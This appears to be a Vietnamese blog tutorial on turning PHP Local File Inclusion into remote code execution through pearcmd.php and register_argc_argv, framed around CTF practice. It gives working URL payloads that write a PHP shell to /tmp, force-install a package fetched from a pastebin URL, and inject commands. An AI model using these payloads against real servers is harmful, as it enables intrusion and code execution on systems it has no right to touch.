0
0
Lập trình
Admin Team
Admin Teamtechmely

Hướng Dẫn Khai Thác Lỗ Hổng LFI2RCE Qua PHP PEARCMD

Đăng vào 1 tháng trước

• 2 phút đọc

Giới thiệu về PECL và PEARCMD

PECL (PHP Extension Community Library) là một thư viện mở rộng cho ngôn ngữ PHP, cho phép bổ sung các tính năng mới và tích hợp các thư viện cần thiết.

Điều kiện cần thiết để khai thác

Để thực hiện việc khai thác lỗ hổng LFI (Local File Inclusion) thông qua PEARCMD, cần lưu ý những điều kiện sau:

  • Sử dụng lỗ hổng LFI: Việc khai thác phụ thuộc vào sự tồn tại của lỗ hổng LFI trong ứng dụng.
  • Docker Image: Trong mọi phiên bản Docker image, pecl/pear sẽ được cài đặt mặc định và đường dẫn là /usr/local/lib/php (có trong thiết lập include_path).
  • Tham số register_argc_argv: Giá trị này phải được thiết lập là on.

Tham số register_argc_argv

Mặc định, tham số này có giá trị là off. Khi được thiết lập on, người dùng có thể kiểm soát giá trị của $_SERVER['argc']$_SERVER['argv'] trong mã PHP. Ví dụ:

php Copy
<?php
var_dump($_SERVER['argv']);  
var_dump($_SERVER['argc']);    // số param
?>

Các tham số sẽ được phân tách bằng dấu + thay vì &.

Tác động của register_argc_argv tới PEAR

Tham số $_SERVER['argv'] trả về các tham số cho PEAR để xử lý và thực thi. Một ví dụ cụ thể là việc tạo file cấu hình thông qua config-create bằng pearcmd.php:

bash Copy
php pearcmd.php config-create "/<?php phpinfo();?>" /tmp/shell.php

Kết quả

Nếu điều kiện LFI được thỏa mãn, câu lệnh trên có thể thực thi qua HTTP request nhờ vào giao thức CGI.

Cách thức hoạt động

CGI (Common Gateway Interface) là giao thức chuẩn cho việc tương tác giữa web server và các ứng dụng trên server. RFC3875 quy định rằng nếu query string không chứa ký tự = chưa được mã hóa và method là GET hoặc HEAD, thì query string sẽ được sử dụng như các tham số cho command line.

Một số chức năng của PEAR được nêu rõ qua đoạn mã dưới đây:

php Copy
public static function readPHPArgv()
{
    global $argv;
    // logic lấy giá trị argv
}

Một số payload phổ biến

1. Payload ghi file

  • /?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php

2. Payload cài đặt package

  • /?+install+--force+--installroot+/tmp/wtf+https://pastebin.com/raw/Z4cejG3f+?&file=/usr/local/lib/php/pearcmd.php

3. Command Injection

  • /?+install+-R+&file=/usr/local/lib/php/pearcmd.php&+-R+/tmp/other+channel://pear.php.net/Archive_Tar-1.4.14

4. Command injection 2

  • Chạy thử package của PEAR, áp dụng setting của file php.ini.

Một số bài CTF điển hình

Nội dung các bài CTF liên quan đến LFI và RCE có thể tham khảo tại các nguồn khác nhau. Trong bài này, việc áp dụng lý thuyết vào thực tiễn trong các trường hợp này có thể giúp rút ra những kiến thức quan trọng về bảo mật ứng dụng web.

Kết luận

Việc khai thác lỗ hổng LFI2RCE thông qua PHP PEARCMD là một quá trình thú vị nhưng cũng đầy thách thức. Sự hiểu biết về các chi tiết kỹ thuật và các payload phù hợp có thể giúp tìm ra các lỗ hổng trong hệ thống và từ đó cải thiện an ninh mạng cho các ứng dụng web.
source: viblo

Gợi ý câu hỏi phỏng vấn
Không có dữ liệu

Không có dữ liệu

Bài viết được đề xuất
Bài viết cùng tác giả

Bình luận

Chưa có bình luận nào

Chưa có bình luận nào